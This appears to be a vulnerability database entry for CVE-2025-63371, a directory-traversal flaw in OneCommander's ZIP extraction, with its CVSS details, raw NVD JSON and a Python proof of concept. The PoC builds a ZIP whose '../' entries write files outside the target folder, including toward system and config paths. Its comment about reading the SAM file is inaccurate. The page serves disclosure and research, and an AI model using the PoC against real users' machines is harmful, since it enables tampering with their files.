Security Vulnerability Report
中文
CVE-2025-63371 CVSS 7.5 HIGH

CVE-2025-63371

Published: 2025-11-19 21:15:51
Last Modified: 2025-12-11 19:13:18

Description

Milos Paripovic OneCommander 3.102.0.0 is vulnerable to Directory Traversal. The vulnerability resides in the ZIP file processing component, specifically in the functionality responsible for extracting and handling ZIP archive contents.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:onecommander:onecommander:3.102.0.0:*:*:*:*:*:*:* - VULNERABLE
OneCommander 3.102.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63371 PoC - OneCommander Directory Traversal in ZIP Extraction This PoC demonstrates how a malicious ZIP file can be crafted to exploit the directory traversal vulnerability in OneCommander 3.102.0.0 """ import zipfile import os def create_malicious_zip(output_path): """ Create a malicious ZIP file with directory traversal payloads. The file paths contain '../' sequences to escape the intended extraction directory. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: # Path traversal to write file outside intended directory # This could be used to write to startup folder, system32, etc. malicious_file_path = '../../../Windows/Temp/pwned.txt' zipf.writestr(malicious_file_path, 'Arbitrary file written via directory traversal!') # Another example: attempt to overwrite configuration config_traversal = '../../../AppData/Roaming/OneCommander/malicious_config.txt' zipf.writestr(config_traversal, 'Malicious configuration data') # Read arbitrary file via traversal read_traversal = '../../../Windows/System32/config/SAM' zipf.writestr(read_traversal, 'Attempt to read SAM file') print(f'[+] Malicious ZIP created: {output_path}') print(f'[+] Contains path traversal entries to demonstrate CVE-2025-63371') def verify_zip_contents(zip_path): """Verify the contents of the created ZIP file""" with zipfile.ZipFile(zip_path, 'r') as zipf: print('\n[+] ZIP file contents:') for info in zipf.infolist(): print(f' - {info.filename}') if __name__ == '__main__': output_file = 'CVE-2025-63371_poc.zip' create_malicious_zip(output_file) verify_zip_contents(output_file) print('\n[!] This PoC is for educational and security testing purposes only.') print('[!] Do not use for malicious activities.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63371", "sourceIdentifier": "[email protected]", "published": "2025-11-19T21:15:51.280", "lastModified": "2025-12-11T19:13:18.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Milos Paripovic OneCommander 3.102.0.0 is vulnerable to Directory Traversal. The vulnerability resides in the ZIP file processing component, specifically in the functionality responsible for extracting and handling ZIP archive contents."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onecommander:onecommander:3.102.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9055D81F-0579-43A7-897A-EEB83EED78DA"}]}]}], "references": [{"url": "https://jeroscope.com/advisories/2025/jero-2025-007/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.onecommander.com/", "source": "[email protected]", "tags": ["Product"]}]}}